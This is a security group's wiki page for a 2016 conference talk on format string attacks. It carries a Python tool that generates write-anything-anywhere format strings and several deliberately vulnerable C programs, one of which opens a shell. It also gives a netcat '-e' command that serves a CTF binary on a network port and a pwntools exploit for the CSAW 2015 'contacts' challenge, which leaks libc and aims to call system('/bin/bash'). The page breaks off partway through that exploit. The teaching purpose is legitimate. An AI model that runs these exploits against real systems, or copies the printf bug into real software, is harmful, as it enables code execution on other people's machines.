B-Sides Jax 2016 - Playing God With Format String Attacks

From JaxHax
Jump to: navigation, search

Overview

Slides from the Playing God With Format String Attacks presentation given at B-Sides Jax on 2016/10/22. The info in this wiki page is a dump of source code and such that is included in the tarball below. The tarball below includes source and binaries used in the presentation, the CSAW 2015 contacts binary, as well as two exploits for it, and the format string generator tool released with this talk. Slides are also available below in a PDF format. Enjoy!

Downloads

Playing God With Format String Attacks (PDF file - 817.6 KB)
Playing God With Format String Attacks Source and Binary Files (tar.gz file - 20.5 KB)


What The Slides Cover

  • What is a format string
  • What are some common formatters
  • What is a format string attack
  • What causes a format string attack
  • What can happen if an application is vulnerable to a format string
  • How to hex dump a stack
  • How to string dump the stack
  • Reading data from a specified address
  • How to deal with ASLR+DEP+Stack canaries in format string attacks
  • Writing data to a specified address
  • How to turn a format string bug into an RCE exploit


Useful Links

Phrack Mag. 0x0b, Issue 0x3b, Phile #0x07 of 0x12 - Advances in format string exploitation
OWASP - Format String Attacks
Exploit DB - Format Strings Exploitation Tutorial (PDF)
Wikipedia - Uncontrolled format Strings
Bsides Jax Wiki


Tool Released: format_string_generator.py

format_string_generator.py was written by Travis Phillips. This tool is a PyGTK GUI in Python 2 designed to make exploitation of stack based format strings simpler by automatically generating a format string to act as a write-anything-anywhere primative. Simply tell it what to write and where!

#!/usr/bin/env python
########################################################################
#
# Program: format_string_generator.py
#
# Date: 10/22/2016
#
# Author: Travis Phillips
#
# Purpose: A PyGTK GUI in Python 2 designed to make exploitation of
#          stack based format strings simpler by automatically
#          generating a format string to act as a write anything
#          anywhere primative. Simply tell it what to write and where!
#
########################################################################
 
import pygtk
pygtk.require('2.0')
import gtk, gobject
 
import os, tempfile, base64
import struct, binascii
 
class DataEntry:
	def DisplayErrorMessage(self, window, message1="", message2=""):
		md = gtk.MessageDialog(window, 
		gtk.DIALOG_DESTROY_WITH_PARENT, gtk.MESSAGE_ERROR, 
		gtk.BUTTONS_CLOSE, message1)
		md.format_secondary_text(message2)
		md.run()
		md.destroy()
 
	def CreateDialog(self, Title, window):
		self.dialog = gtk.Dialog(Title, window, 0, (gtk.STOCK_CANCEL, gtk.RESPONSE_CANCEL, gtk.STOCK_OK, gtk.RESPONSE_OK))
		self.dialog.set_default_size(250, 100)
 
	def AddTable(self):
		self.table = gtk.Table(2, 3, False)
		self.table.set_row_spacings(5)
		self.table.set_col_spacings(5)
		self.dialog.vbox.pack_start(self.table, False, False)
 
	def AddLabels(self):
		lblDescription = gtk.Label("Description:")
		lblAddress = gtk.Label("Address:")
		lblDescription.set_alignment(1, 0.5)
		lblAddress.set_alignment(1, 0.5)
		self.table.attach(lblDescription, 0, 1, 0, 1, gtk.FILL)
		self.table.attach(lblAddress, 0, 1, 1, 2, gtk.FILL)
 
	def AddTextBoxes(self):
		self.txtDescription = gtk.Entry()
		self.txtAddress = gtk.Entry()
		self.table.attach(self.txtDescription, 1, 2, 0, 1)
		self.table.attach(self.txtAddress, 1, 2, 1, 2)
 
	def AddDataFrame(self):
		frame = gtk.Frame("Data")
		sw = gtk.ScrolledWindow()
		sw.set_policy(gtk.POLICY_AUTOMATIC, gtk.POLICY_AUTOMATIC)
 
		vbox = gtk.VBox(False, 5)
		hbox = gtk.HBox(False, 5)
 
		self.txtviewData = gtk.TextView()
		self.txtviewData.set_wrap_mode(gtk.WRAP_CHAR)
		self.txtData = self.txtviewData.get_buffer()
 
		lbl = gtk.Label("Data Type: ")
		hbox.pack_start(lbl, False, False, 3)
 
		self.btnAddress = gtk.RadioButton(None, "Address")
		hbox.pack_start(self.btnAddress, False, False, 3)
		self.btnData = gtk.RadioButton(self.btnAddress, "Data")
		hbox.pack_start(self.btnData, False, False, 3)
		frame.add(vbox)
 
		vbox.pack_start(hbox, False, False, 3)
		vbox.pack_start(sw, False, False, 3)
		sw.add(self.txtviewData)
		self.table.attach(frame, 0, 2, 2, 3, gtk.FILL)
 
	def __init__(self, window, Title, Data=None):
		self.CreateDialog(Title, window)
		self.AddTable()
		self.AddLabels()
		self.AddTextBoxes()
		self.AddDataFrame()
 
		if Data is not None:
			self.txtDescription.set_text(Data["title"])
			self.txtAddress.set_text(Data["address"])
			if Data["isAddress"]:
				self.btnAddress.set_active(True)
			else:
				self.btnData.set_active(True)
			self.txtData.set_text(Data["data"])
 
		self.dialog.show_all()
		good = False
		while True:
			response = self.dialog.run()
 
			if response == gtk.RESPONSE_OK:
 
				title = self.txtDescription.get_text()
				address = self.txtAddress.get_text()
				radioAddress = self.btnAddress.get_active()
				data = self.txtData.get_text(self.txtData.get_start_iter(), self.txtData.get_end_iter()).strip("\n")
 
				if title == "":
					self.DisplayErrorMessage(self.dialog, "Error: Invalid Title", "Please Enter a title")
					continue
 
				try:
					int(address,16)
				except ValueError:
					self.DisplayErrorMessage(self.dialog, "Error: Invalid Address", "Please Enter valid address (Eg: 0xdeadbeef)")
					continue
				if int(address,16) > 0xffffffff:
						self.DisplayErrorMessage(self.dialog, "Error: Invalid Data", "Data entered isn't an address (Eg: 0xdeadbeef)")
						continue
 
				if data == "":
					self.DisplayErrorMessage(self.dialog, "Error: Invalid Data", "Data can't be empty")
					continue
				elif radioAddress:
					try:
						int(data,16)
					except ValueError:
						self.DisplayErrorMessage(self.dialog, "Error: Invalid Data", "Data entered isn't an address (Eg: 0xdeadbeef)")
						continue
					if int(data,16) > 0xffffffff:
						self.DisplayErrorMessage(self.dialog, "Error: Invalid Data", "Data entered isn't an address (Eg: 0xdeadbeef)")
						continue
 
				self.data = {"title" : title, "address" : address, "isAddress" : radioAddress, "data" : data}
				break
 
			else:
				self.data = None
				break
 
		self.dialog.destroy()
 
	def GetResults(self):
		return self.data
 
class FormatStringGenerator:
	NAME = "Stack Based Write-Anything-Anywhere Format String Generator"
	VERSION = "v.0.1"
	PATH = os.path.abspath(os.path.dirname(__file__)) + "/"
 
	####################################################################
	# Support Functions
	####################################################################
	def DisplayErrorMessage(self, window, message1="", message2=""):
		md = gtk.MessageDialog(window, 
		gtk.DIALOG_DESTROY_WITH_PARENT, gtk.MESSAGE_ERROR, 
		gtk.BUTTONS_CLOSE, message1)
		md.format_secondary_text(message2)
		md.run()
		md.destroy()
 
	def create_model(self):
		store = gtk.ListStore(str, str, str, bool) # Description, Address, Data, [Type]
		return store
 
	def Hexit(self, data):
		stringData = binascii.hexlify(data)
		ret = ""
		i = 0
		while i < len(stringData):
			ret += "\\x" + stringData[i:i+2]
			i += 2
		return ret
 
	def generateFormatString(self):
		######################################################
		# Get the user's parameter offset
		######################################################
		offset = self.entryOffset.get_text()
		preBytes = self.txtBytesWritten.get_text()
 
		######################################################
		# Check if the parameter offset is blank
		######################################################
		if offset == "":
			fmtStr = " [*] Error: Please set the parameter offset to generate format string."
			self.txtOutput.set_text(fmtStr)
			return False
 
		######################################################
		# Check if the preBytes count is blank. if so, just 
		# assume zero.
		######################################################
		if preBytes == "":
			preBytes = 0
 
		######################################################
		# Validate the parameter offset the user provided
		######################################################
		try:
			offset = int(offset)
		except ValueError:
			fmtStr = " [*] Error: Please set the parameter offset to generate format string."
			self.txtOutput.set_text(fmtStr)
			return False
 
		######################################################
		# Validate the parameter offset the user provided
		######################################################
		try:
			preBytes = int(preBytes)
		except ValueError:
			fmtStr = " [*] Error: Please set the Bytes Already Written to a valid number to generate format string."
			self.txtOutput.set_text(fmtStr)
			return False
 
		######################################################
		# Decide if we should escape dollar signs
		######################################################
		if self.chkEscapeDollar.get_active():
			esc = "\\"
		else:
			esc = ""
 
		######################################################
		# Determine the write format symbol and size.
		######################################################
		if self.radioOneByte.get_active():
			wfmt = "$hhn"
			size = 256
		elif self.radioTwoByte.get_active():
			wfmt = "$hn"
			size = 65536
		else:
			wfmt = "$n"
			size = 4294967296
 
		######################################################
		# Populate Payload & Address list.
		######################################################
		addressList = []
		payloadList = []
		for row in self.store:
			addressList.append(int(row[1],16))
			if row[3]:
				payloadList.append(struct.pack('<I', int(row[2],16)))
			else:
				if self.radioTwoByte.get_active():
					data = row[2].decode('string_escape')
					while len(data) % 2 != 0:
						print("two byte payload (%d) not mod 2. Padding with null at end" % (len(data)))
						data += "\x00"
					payloadList.append(data)
				elif self.radioFourByte.get_active():
					data = row[2].decode('string_escape')
					while len(data) % 4 != 0:
						print("four byte payload not mod 2. Padding with null at end")
						data += "\x00"
					payloadList.append(data)
				else:
					payloadList.append(row[2].decode('string_escape'))
 
		######################################################
		# Populate Address string.
		######################################################
		allAddresses = ""
		for i in xrange(len(addressList)):
			x = 0
			if self.radioOneByte.get_active():
				while len(payloadList[i]) > x:
					allAddresses += struct.pack('<I', addressList[i] + x)
					x += 1
			elif self.radioTwoByte.get_active():
				while len(payloadList[i]) > x:
					allAddresses += struct.pack('<I', addressList[i] + x)
					x += 2
			else:
				while len(payloadList[i]) > x:
					allAddresses += struct.pack('<I', addressList[i] + x)
					x += 4
 
		######################################################
		# The length of the address string counts torwards
		# the number of bytes printed. So go ahead and tally
		# that into the count.
		######################################################
		total_printed = len(allAddresses) + preBytes
 
		formatString = ""
		for i in xrange(len(addressList)):
			x = 0
			while len(payloadList[i]) > x:
				#for c in payloadList[i]:
				##############################################
				# set the data int for the size it needs to be
				##############################################
				if self.radioOneByte.get_active():
					data = ord(payloadList[i][x])
					x += 1
				elif self.radioTwoByte.get_active():
					data = "0x%02x" % (ord(payloadList[i][x+1]))
					data += "%02x" % (ord(payloadList[i][x]))
					data = int(data, 16)
					x += 2
				else:
					data = "0x%02x" % (ord(payloadList[i][x+3]))
					data += "%02x" % (ord(payloadList[i][x+2]))
					data += "%02x" % (ord(payloadList[i][x+1]))
					data += "%02x" % (ord(payloadList[i][x]))
					data = int(data, 16)
					x += 4
 
				if ((total_printed + 8) % size) > data:
					formatString += "%" + str((data + 8) + (size - ((total_printed + 8) % size))) + "x%" + str(offset) + esc + wfmt
					total_printed += (data + 8) + (size - ((total_printed + 8) % size))
				else:
					formatString += "%" + str((data +8) - ((total_printed + 8) % size)) + "x%" + str(offset) + esc + wfmt
					total_printed += (data +8) - ((total_printed + 8) % size)
				offset += 1
		self.frameOutput.set_label("Output - String Length: %d Bytes;\tActual Size: %d" % (len(self.Hexit(allAddresses) + formatString), len(allAddresses + formatString)))
		self.txtOutput.set_text(self.Hexit(allAddresses) + formatString)
 
	####################################################################
	# GUI Callback Functions
	####################################################################
	def delete_event(self, widget, event):
		gtk.main_quit()
		return False
 
	def menuQuit(self, widget):
		self.delete_event(widget, "delete_event")
 
	def treeview_changed(self, widget, event):
		adj = self.sw.get_vadjustment()
		adj.set_value( adj.upper - adj.page_size )
 
	def btnAddClicked(self, widget):
		dia = DataEntry(self.window, "Add Data")
		data = dia.GetResults()
		if data != None:
			self.store.append([data["title"], data["address"], data["data"], data["isAddress"]])
			self.generateFormatString()
 
	def btnDeleteClicked(self, widget):
		model, iterr = self.treeView.get_selection().get_selected_rows()
		for i in iterr:
			row = model.get_iter(i)
			dialog = gtk.MessageDialog(self.window, gtk.DIALOG_MODAL, gtk.MESSAGE_INFO, gtk.BUTTONS_YES_NO, "Are you sure you want to delete the entry '" + model[row][0] + "'?")
			dialog.set_title("Confirm Delete")
			response = dialog.run()
			dialog.destroy()
			if response == gtk.RESPONSE_YES:
				model.remove(row)
				self.generateFormatString()
 
	def btnEditClicked(self, widget):
		model, iterr = self.treeView.get_selection().get_selected_rows()
		for i in iterr:
			row = model.get_iter(i)
			data = {"title" : model[row][0], "address" : model[row][1], "isAddress" : model[row][3], "data" : model[row][2]}
			dia = DataEntry(self.window, "Add Data", data)
			data = dia.GetResults()
			if data != None:
				model[row] = [data["title"], data["address"], data["data"], data["isAddress"]]
				self.generateFormatString()
 
	def UpdatedOffset(self, widget, text=None, chars=None, n=None):
		self.generateFormatString()
 
	####################################################################
	# Window Building Functions
	####################################################################
	def CreateWindow(self):
		icondata = base64.b64decode("iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAKfSURBVDiNldJLaxNxFAXwM69MMg8zmFcTbYMIQqqlaZU+BG0XRbJzFXd2pRYRF3EhuPEDdJcqgks3LrJ2UxQxFiJEQ3DR0mIxJGnzgslkMkknz/+4ESQthXo+wI97z72UZVn4Gyoejz8QRTHC83yYENLsdrvZdrv9LhaLJXFKKMuysL6+HtA07X2l4liq1jwYDBwgwz5Y1kAopFuybL2ampp6Fo1Gh8cBhqIoOhAIfEiluNuyEsbk1Uu4OO6GP+CC2+PD3p6dstuH8z6frT89Pf31OECvrKw8qlYdtzhbAHabBV0zYB6ZoChAknjMLVxGoRiAzeZ8mU6nr5wAXC7XnXS6A5axoDdaaDQM6FoLDa0JTTNg6C2EJsewvU04l8u1fBxgvV5veHe3BUns4ZzTBkXhwLEMWI4ByzLgOBYsx4AC4Ha7wyc68Pl8q6lU33942IGm9VCvd6HrfZjmAIQQEDJEvzdApfIbhv7z48Li4ueRCZyynJmYqM/mch3QBg2WZcDzLHiehSAwEEUOdp7G4k0WoixnTnRwTlHe3ot6B7JMgxCCXq8PwzChqi2USi3k800Qq4X5ufN9j8dTObFCIpEolytFejLkWN7ZacMw/p2aEIKZGQFPn1zAkdlkBFG83+l0Sn6/PzvySADwaXNz9agziGezuvJrvwVRYBAKyQgGWSuXy1GSLGN8fBzBYHBYKBRWIpHIlxEAADKZjNM0zUUQcoOmKN2i6e/7+/vXAbxWFAVjY2OgKAr5fL52cHAwG4vFDkeA05JMJt9IkvSYpmmUSiUUi0UUCoVvqqounQkAgK2trYf1ej1eq9Uc5XIZxWIRhmG8ODMAABsbG9dUVU1Uq9WQqqqQJGnnvwAAWFtbExqNxnOHw3FXEIQffwAmHjBt9v9S5QAAAABJRU5ErkJggg==")
		f = tempfile.NamedTemporaryFile(delete=False)
		iconfile = f.name
		f.write(icondata)
		f.flush()
		os.fsync(f)
		f.close()
		self.tooltips = gtk.Tooltips()
		self.window = gtk.Window(gtk.WINDOW_TOPLEVEL)
		self.window.set_icon_from_file(iconfile)
		os.remove(iconfile)
		self.window.set_title(self.NAME)
		self.window.set_border_width(0)
		self.window.set_default_size(600, 400)
		self.window.set_position(gtk.WIN_POS_CENTER)
 
	def AddVBoxMain(self):
		self.VBoxMain = gtk.VBox(False, 0)
		self.window.add(self.VBoxMain)
 
	def AddMenuBar(self):
		mb = gtk.MenuBar()
		agr = gtk.AccelGroup()
		self.window.add_accel_group(agr)
 
		filemenu = gtk.Menu()
		filem = gtk.MenuItem("File")
		filem.set_submenu(filemenu)
 
		exit = gtk.ImageMenuItem(gtk.STOCK_QUIT, agr)
		key, mod = gtk.accelerator_parse("<Control>Q")
		exit.add_accelerator("activate", agr, key, mod, gtk.ACCEL_VISIBLE)
		exit.connect("activate", self.menuQuit)
		filemenu.append(exit)
 
		mb.append(filem)
		self.VBoxMain.pack_start(mb, False, False, 0)
 
	def AddHBoxMain(self):
		self.HBoxMain = gtk.HBox(False, 0)
		self.VBoxMain.pack_start(self.HBoxMain)
 
	def AddListView(self):
		self.sw = gtk.ScrolledWindow()
		self.sw.set_shadow_type(gtk.SHADOW_ETCHED_IN)
		self.sw.set_policy(gtk.POLICY_AUTOMATIC, gtk.POLICY_AUTOMATIC)
		self.HBoxMain.pack_start(self.sw)
 
		self.store = self.create_model()
 
		self.treeView = gtk.TreeView(self.store)
		self.treeView.set_rules_hint(True)
		self.sw.add(self.treeView)
 
		rendererText = gtk.CellRendererText()
		column = gtk.TreeViewColumn("Description", rendererText, text=0)
		column.set_resizable(True)
		column.set_sort_column_id(0)    
		self.treeView.append_column(column)
 
		rendererText = gtk.CellRendererText()
		column = gtk.TreeViewColumn("Address", rendererText, text=1)
		column.set_resizable(True)
		column.set_sort_column_id(1)
		self.treeView.append_column(column)
 
		rendererText = gtk.CellRendererText()
		column = gtk.TreeViewColumn("Is data address?", rendererText, text=3)
		column.set_resizable(True)
		column.set_sort_column_id(3)
		self.treeView.append_column(column)
 
		rendererText = gtk.CellRendererText()
		column = gtk.TreeViewColumn("Data", rendererText, text=2)
		column.set_resizable(True)
		column.set_sort_column_id(2)
		self.treeView.append_column(column)
 
	def AddEditorButtons(self):
		vbox1 = gtk.VBox(False,10)
		self.HBoxMain.pack_end(vbox1, False, False, 2)
 
		##########################################################
		# Setup the Edit Formats Section
		##########################################################
		frame = gtk.Frame("Edit Formats")
		vbox1.pack_start(frame, False, False, 5)
		vbox2 = gtk.VBox(False,10)
		frame.add(vbox2)
		################ Add the 'Add' Button ################ 
		self.btnAdd = gtk.Button("Add")
		self.tooltips.set_tip(self.btnAdd, "Add an entry to your format string chain.")
		vbox2.pack_start(self.btnAdd, False, False, 2)
 
		################ Add the 'Delete' Button ################ 
		self.btnDelete = gtk.Button("Delete")
		self.tooltips.set_tip(self.btnDelete, "Delete an entry from your format string chain.")
		vbox2.pack_start(self.btnDelete, False, False, 2)
 
		################ Add the 'Edit' Button ################ 
		self.btnEdit = gtk.Button("Edit")
		self.tooltips.set_tip(self.btnEdit, "Edit the selected entry in your format string chain.")
		vbox2.pack_start(self.btnEdit, False, False, 2)
 
		##########################################################
		# Setup the parameter section.
		##########################################################
		frame = gtk.Frame("Parameter Offset")
		vbox1.pack_start(frame, False, False, 2)
		self.entryOffset = gtk.Entry()
		self.tooltips.set_tip(self.entryOffset, "This is supposed to be the number parameter which will point to the start of your format string.")
		self.txtOffset = self.entryOffset.get_buffer()
		frame.add(self.entryOffset)
 
		##########################################################
		# Setup the Bytes Already Written section.
		##########################################################
		frame = gtk.Frame("Bytes Already Written")
		vbox1.pack_start(frame, False, False, 2)
		self.entryBytesWritten = gtk.Entry()
		self.tooltips.set_tip(self.entryBytesWritten, "This is supposed to be the number bytes that may have been written already. This is useful if you are dealing with a snprintf to printf bug where snprintf was safe and the buffer was passed to printf is the bug. \n\nIn this case it might have appended some text before our format string which will count for bytes written. This control is here to compensate for that use case.")
		self.txtBytesWritten = self.entryBytesWritten.get_buffer()
		frame.add(self.entryBytesWritten)
		self.txtBytesWritten.set_text("0", 1)
 
		##########################################################
		# Setup the Byte Size Length section.
		##########################################################
		frame = gtk.Frame("Byte Size Length")
		vbox1.pack_start(frame, False, False, 2)
		vbox = gtk.VBox(False, 0)
		frame.add(vbox)
 
		##########################################################
		# Add the radio buttons to the Byte Size Length section.
		##########################################################
		self.radioOneByte = gtk.RadioButton(None, "1 Byte")
		self.tooltips.set_tip(self.radioOneByte, "Write using one byte writes. This is the most stable. It results in the largest format string, but executes the fastest.")
		vbox.pack_start(self.radioOneByte, False, False, 2)
		self.radioTwoByte = gtk.RadioButton(self.radioOneByte, "2 Bytes")
		self.radioTwoByte.set_active(True)
		self.tooltips.set_tip(self.radioTwoByte, "Write using two byte writes. This is stable. It results in a good balance between format string size and execution speed.")
		vbox.pack_start(self.radioTwoByte, False, False, 2)
		self.radioFourByte = gtk.RadioButton(self.radioOneByte, "4 Bytes")
		self.tooltips.set_tip(self.radioFourByte, "Write using four byte writes. This won't always work, but is included because it makes the smallest format string and is worth a shot when dealing with string size limitations. This method is also HORRIBLY SLOW when it executes.")
		vbox.pack_start(self.radioFourByte, False, False, 2)
 
		##########################################################
		# Setup the Escape Dollar Sign Section
		##########################################################
		self.chkEscapeDollar = gtk.CheckButton("Escape Dollar Signs")
		self.chkEscapeDollar.set_active(True)
		self.tooltips.set_tip(self.chkEscapeDollar, "This option, if checked, will place a backslash in front of the dollar signs. This is useful if you are passing the format string via a shell.")
		vbox1.pack_start(self.chkEscapeDollar, False, False, 2)
 
	def AddOutputSection(self):
		self.frameOutput = gtk.Frame("Output - Length: 0 Bytes;\tActual Size: 0")
		sw = gtk.ScrolledWindow()
		sw.set_policy(gtk.POLICY_AUTOMATIC, gtk.POLICY_AUTOMATIC)
		self.txtviewOutput = gtk.TextView()
		self.txtviewOutput.set_wrap_mode(gtk.WRAP_CHAR)
		self.txtviewOutput.set_editable(False)
		self.txtOutput = self.txtviewOutput.get_buffer()
		sw.add(self.txtviewOutput)
		self.frameOutput.add(sw)
		self.VBoxMain.pack_start(self.frameOutput, True, True, 0)
 
	def ConnectEvents(self):
		self.window.connect("delete_event", self.delete_event)
		self.treeView.connect('size-allocate', self.treeview_changed)
		self.btnAdd.connect("clicked", self.btnAddClicked)
		self.btnDelete.connect("clicked", self.btnDeleteClicked)
		self.btnEdit.connect("clicked", self.btnEditClicked)
		self.txtOffset.connect("inserted-text", self.UpdatedOffset)
		self.txtOffset.connect("deleted-text", self.UpdatedOffset)
		self.txtBytesWritten.connect("inserted-text", self.UpdatedOffset)
		self.txtBytesWritten.connect("deleted-text", self.UpdatedOffset)
		self.radioOneByte.connect("clicked", self.UpdatedOffset)
		self.radioTwoByte.connect("clicked", self.UpdatedOffset)
		self.radioFourByte.connect("clicked", self.UpdatedOffset)
		self.chkEscapeDollar.connect("clicked", self.UpdatedOffset)
 
	def __init__(self):
		self.CreateWindow()
		self.AddVBoxMain()
		self.AddMenuBar()
		self.AddHBoxMain()
		self.AddListView()
		self.AddEditorButtons()
		self.AddOutputSection()
		self.ConnectEvents()
 
		self.window.show_all()
 
def main():
	gtk.main()
 
if __name__ == "__main__":
	hello = FormatStringGenerator()
	main()


Example 1: example_printf.c

example_printf.c was written by Travis Phillips for this presentation. It will demo how a format string works. Not a vulnerable program, just showing how they work.

////////////////////////////////////////////////////////////////////////
//
// Program: example_printf.c
//
// Date: 10/22/2016
//
// Author: Travis Phillips
//
// Purpose: For the B-Sides Jacksonville 2016 Talk "Playing God With
//          Format String Attacks". This is the first example program
//          and is simply a "Hello World" type of program designed to
//          show a simple format string in use. This program isn't
//          vulnerable to a format string attack.
//
// Compile: gcc -m32 example_printf.c -o example_printf
//
////////////////////////////////////////////////////////////////////////
#include <stdio.h>   // Standard Libary
 
// Main program code.
int main(int argc, char *argv[]) {
 
	// Make sure the user passed a name or print usage.
	if (argc != 2) {
		printf("\n\t[*] Usage: %s [name]\n", argv[0]);
		return 1;
	}
 
	// If the user provided a name, then use printf() to say hello.
	printf("\n [*] Hello, %s!\n\n", argv[1]);
 
	// Return with status code of zero.
	return 0;
}


Example 2: printfVuln.c

printfVuln.c was written by Travis Phillips for this presentation. It will demo how a format string attack works. This is a vulnerable program!

////////////////////////////////////////////////////////////////////////
//
// Program: printfVuln.c
//
// Date: 10/22/2016
//
// Author: Travis Phillips
//
// Purpose: For the B-Sides Jacksonville 2016 Talk "Playing God With
//          Format String Attacks". This is the Second example program
//          and is simply a format string bug to demo a format string
//          bug.
//
// Compile: gcc -m32 printfVuln.c -o printfVuln
//
////////////////////////////////////////////////////////////////////////
#include <stdio.h>   // Standard Libary
 
// Main program code.
int main(int argc, char *argv[]) {
 
	// Make sure the user passed a string or print usage.
	if (argc != 2) {
		printf("\n [*] Usage: %s [string_to_print]\n", argv[0]);
	} else {
		// if they did, pass it straight to printf. This is the bug
		printf(argv[1]);
	}
 
	// Print a new line for cleaner output and return status code zero.
	puts("");
	return 0;
}


Example 3: printfStackBased.c

printfStackBased.c was written by Travis Phillips for this presentation. It will demo how a format string attack works and how you can dump the stack with hex or strings. This is a vulnerable program!

////////////////////////////////////////////////////////////////////////
//
// Program: printfStackBased.c
//
// Date: 10/22/2016
//
// Author: Travis Phillips
//
// Purpose: For the B-Sides Jacksonville 2016 Talk "Playing God With
//          Format String Attacks". This is the Third example program
//          and is a format string bug with the format string being on
//          the stack. The reason for this is it allows the format 
//          string to access that data. This enables an attacker to use
//          this data for pointers and such for reads and writes to
//          addresses specified by the attacker.
//
// Compile: gcc -m32 printfStackBased.c -o printfStackBased
//
////////////////////////////////////////////////////////////////////////
#include <stdio.h>   // Standard Libary
#include <string.h>  // memset(), strncpy()
 
// Main program code.
int main(int argc, char *argv[]) {
	// Create a buffer of 1024 as a local var. This will be on the stack
	// since it is local to this function.
	char buffer[1024];
 
	// Make sure the user passed a string or print usage.
	if (argc != 2) {
		printf("\n [*] Usage: %s [String_to_print]\n\n", argv[0]);
	} else {
		// if they passed a string, zero out the buffer.
		memset(buffer, 0, sizeof(buffer));
 
		// copy up to 1023 bytes of the user string to the buffer to
		// avoid a buffer overflow.
		strncpy(buffer, argv[1], (sizeof(buffer) - 1));
 
		// print the buffer. <== This is the bug!
		printf(buffer);
	}
	// Return with status code of zero.
	return 0;
}


Example 4: backdoor.c

backdoor.c was written by Travis Phillips for this presentation. It will demo how a format string attack can be used to write data anywhere in a stack based example and obtain code execution. This is a VERY vulnerable program!

////////////////////////////////////////////////////////////////////////
//
// Program: backdoor.c
//
// Date: 10/22/2016
//
// Author: Travis Phillips
//
// Purpose: For the B-Sides Jacksonville 2016 Talk "Playing God With
//          Format String Attacks". This is the fourth example program
//          and is used to showcase how to use the %n formatter to write
//          data to memory. If the attacker can make test = 0xdeadbeef
//          they will get a shell. Compile without DEP it can be used to
//          show how a simple GOT overwrite and payload written to .bss
//          can result in an RCE exploit condition.
//
// Compile: gcc -m32 backdoor.c -o backdoor
// Compile w/o DEP: gcc -m32 -z execstack backdoor.c -o backdoor_no_dep
//
////////////////////////////////////////////////////////////////////////
#include <stdio.h> // Standard library
#include <string.h> // memset(), strncpy()
 
// Global variable 'test' so it stays at a static address.
int test = 0x41;
 
// Main program code.
int main(int argc, char *argv[]) {
	// Create a buffer of 1024 as a local var. This will be on the stack
	// since it is local to this function.
	char buffer[1024];
 
	// Make sure the user passed a string or print usage.
	if (argc != 2) {
		printf("\n [*] Usage: %s [String_to_print]\n\n", argv[0]);
	} else {
		// if they passed a string, zero out the buffer.
		memset(buffer, 0, sizeof(buffer));
 
		// copy up to 1023 bytes of the user string to the buffer to
		// avoid a buffer overflow.
		strncpy(buffer, argv[1], (sizeof(buffer) - 1));
 
		// print the buffer. <== This is the bug!
		printf(buffer);
 
		// Show the user the test address and value.
		printf("\n [*] test @ [%08p] = %d [0x%08x]\n", &test, test, test);
 
		// if test is 0xdeadbeef then give them a shell.
		if (test == 0xdeadbeef) {
			printf(" [*] Enjoy the shell! ;-)\n");
			system("/bin/sh");
		} else {
			printf(" [*] Nope...\n");
		}
	}
 
	// Return with status code of zero.
	return 0;
}


Running CSAW 2015 CTF contacts On A Network Port

To run contacts as a network service just use netcat like "nc -v -l -p 3333 -e ./contacts_54f3188f64e548565bc1b87d7aa07427"


CSAW 2015 CTF contacts Exploit 1: pwn_contacts.py

pwn_contacts.py was written by Travis Phillips for the CSAW 2015 CTF challenge "contacts". This script will exploit the included contacts program using the printf bug by leaking the address to system() and writing /bin/bash to the bss section and deploying a ROP chain to execute system(/bin/bash).

#!/usr/bin/env python
########################################################################
#
# Program: pwn_contacts.py
#
# Date: 10/22/2016
#
# Author: Travis Phillips
#
# Purpose: This script is an exploit for the CSAW 2015 CTF binary 
#          "contacts". This program had a printf bug that could be
#          exploited over and over again. As a result it is possible
#          to use this as a memory leaker and write-anything-anywhere
#          primative to create an RCE condition.
#
#          This script uses pwntools for creation of ROP chain and
#          memory leaker to locate the system() function in the libc
#          library and write "/bin/bash" to pass it on the .bss section.
#
########################################################################
from sys import exit
try:
	from pwn import *
except ImportError as e:
	print("\n\033[31;1m [*]ERROR:\033[0m This script requires pwntools!")
	print("           Please install it to use this script\n")
	exit(1)
 
####### Host and Port to connect to #######
HOST = '127.0.0.1'
PORT = 3333
 
###################################################
# Functions to manpulate contacts.
###################################################
def createContact(name, description):
	conn.sendline("1")
	conn.recvuntil("Name: ")
	conn.sendline(name)
	conn.recvuntil("Enter Phone No: ")
	conn.sendline("1111")
	conn.recvuntil("Length of description: ")
	conn.sendline(str(len(description) + 1))
	conn.recvuntil("Enter description:\n\t\t")
	conn.sendline(description)
	conn.recvuntil('>>> ')
 
def deleteContact(name):
	conn.sendline("2")
	conn.recvuntil("Name to remove? ")
	conn.sendline(name)
	conn.recvuntil('>>> ')
 
def displayContact():
	conn.sendline("4")
	conn.recvuntil("Description: ")
	buf = conn.recvuntil("\nMenu:")
	conn.recvuntil('>>> ')
	return buf.replace("\nMenu:", "")
 
###################################################
# Get/Set pointers functions.
###################################################
def getP18Ptr():
	createContact("GetP18Ptr", "%18$08x")
	data = displayContact()
	deleteContact("GetP18Ptr")
	return int(data, 16)
 
def getP30Ptr():
	createContact("GetP30Ptr", "%30$08x")
	data = displayContact()
	deleteContact("GetP30Ptr")
	return int(data, 16)
 
def setP30Ptr(address):
	addr = address
	p18 = getP18Ptr()
	for i in xrange(0,2):
		# Update ptr in p18 to point to one byte of
		byte = int(hex(p18+i*2)[-2:], 16)
		if byte < 8:
			data = byte + 256
		else:
			data = byte
		createContact("setP18-" + str(i), "%0" + str(data) + "x%6$hhn")
		displayContact()
		deleteContact("setP18-" + str(i))
 
		# update byte in p30 pointer
		if i == 0:
			byte = int(hex(addr & 0xffff),16)
		else:
			byte = int(hex(addr >> 16),16)
		createContact("setP30-" + str(i), "%0" + str(byte) + "x%18$hn")
		displayContact()
		deleteContact("setP30-" + str(i))
	# Restore p18
	byte = int(hex(p18)[-2:], 16)
	if byte < 8:
		data = byte + 256
	else:
		data = byte
	createContact("RestoreP18", "%0" + str(data) + "x%6$hhn")
	displayContact()
	deleteContact("RestoreP18")
 
###################################################
# Leaker function for pwntool's DynELF() function
# lookup class.
###################################################
def leak(address):
	setP30Ptr(address)
	createContact("LeakData", "%30$s")
	data = displayContact()
	deleteContact("LeakData")
	if len(data) == 0:
		data = "\x00"
	return data
 
###################################################
# A general purpose writeAnythingAnywhere function
# that will chain the needed functions together
# to write whatever we want somewhere.
###################################################
def writeAnythingAnywhere(address, data, description):
	log.info("Writing " + description + " to " + hex(address))
	for i in xrange(0, len(data)):
		setP30Ptr(address + i)
		byte = ord(data[i])
		if byte < 8:
			fmt = byte + 256
		else:
